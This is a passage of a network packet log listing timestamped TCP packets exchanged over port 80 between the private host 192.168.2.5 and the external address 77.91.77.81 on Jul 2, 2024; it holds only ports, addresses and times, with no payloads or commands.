Jul 2, 2024 04:13:05.439654112 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439665079 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439675093 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439685106 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443176031 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443228960 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443253040 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443269014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443285942 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443295956 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443303108 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443314075 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443320036 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443330050 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443341970 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443360090 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443378925 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443399906 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443416119 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443427086 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443432093 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443438053 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443448067 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443463087 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443464994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443475962 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443480968 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443487883 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443499088 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443509102 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443516970 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443526983 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443540096 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443542004 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443566084 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443582058 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443687916 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443713903 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443730116 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443742037 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443744898 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443761110 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443763018 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443770885 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443778992 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443783998 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443797112 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443805933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443813086 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443818092 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443830013 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443837881 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443845987 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443850040 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443862915 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443871975 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443890095 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443891048 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443897009 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443908930 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443923950 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443941116 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443943977 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443963051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.443970919 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.443979979 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.444000006 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.444009066 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.532140970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532188892 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532200098 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532255888 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532277107 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532288074 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532299995 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532315016 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532335043 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.532335997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532346964 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532356977 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532367945 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532378912 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532388926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532401085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532402992 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.532411098 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.532423019 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.532440901 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.532454014 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.560190916 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560273886 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560277939 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.560385942 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.560486078 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560496092 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560508013 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560529947 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560539007 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.560542107 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560570955 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.560587883 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.560703039 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560712099 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560739040 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560749054 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560751915 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.560779095 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.560928106 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560936928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560946941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560956001 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560966969 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560976982 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.560985088 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.560988903 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561002016 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561009884 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561031103 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561043024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561053991 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561098099 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561109066 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561119080 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561119080 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561134100 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561162949 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561341047 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561352015 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561361074 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561371088 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561383009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561387062 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561400890 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561409950 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561413050 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561423063 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561429024 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561434984 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561450005 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561453104 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561463118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561474085 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561477900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561494112 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561495066 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561503887 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561513901 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561516047 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561527014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561527967 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561537981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561548948 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561552048 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561567068 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561578035 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561578989 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561588049 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561602116 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561604023 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561613083 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561618090 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561641932 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561662912 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561691999 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561702967 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561712027 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561736107 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561754942 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561820984 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561834097 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561850071 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561860085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561872959 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561877966 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561888933 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561896086 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561901093 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561909914 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561914921 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561920881 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561933994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.561939955 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561963081 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.561985970 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562000990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562010050 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562020063 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562045097 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562067032 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562119961 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562130928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562139988 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562151909 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562171936 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562187910 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562192917 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562202930 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562211990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562233925 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562247992 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562256098 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562300920 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562478065 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562488079 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562496901 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562506914 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562516928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562525034 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562529087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562540054 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562547922 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562551022 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562561035 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562566042 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562572002 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562582016 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562586069 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562598944 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562623024 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562643051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562685966 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562720060 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562730074 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562741041 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562766075 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562788963 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562866926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562876940 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562886953 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562897921 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.562927008 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.562927008 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.563030958 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.563043118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.563051939 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.563061953 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.563077927 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.563079119 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.563090086 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.563091040 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.563100100 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.563112974 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.563124895 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.563124895 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.563138962 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.563163996 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.626547098 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626631975 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.626665115 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626677036 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626688004 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626698971 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626708984 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626713991 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.626720905 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626740932 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.626753092 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626759052 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.626765013 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626786947 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626797915 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626800060 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.626807928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626820087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626830101 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.626847982 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.626863956 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.626883030 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626893997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626904011 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626915932 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.626929045 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.626945019 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.627057076 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.627067089 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.627077103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.627088070 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.627305984 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655225992 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655281067 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655292988 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655323982 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655333996 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655344009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655354023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655365944 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655378103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655390978 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655404091 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655405045 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655421972 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655431986 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655432940 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655443907 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655452013 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655455112 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655467987 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655500889 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655503988 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655514956 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655535936 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655544996 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655554056 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655565023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655565023 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655586004 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655612946 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655673027 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655682087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655693054 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655711889 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655716896 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655723095 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655740023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655750990 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655760050 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655769110 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655770063 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655780077 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655796051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655797958 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655817032 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655838013 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655844927 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655858994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655868053 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655879974 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655884027 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655896902 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655904055 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.655906916 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655917883 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.655927896 CEST	54802	80	192.168.2.5	77.91.77.81
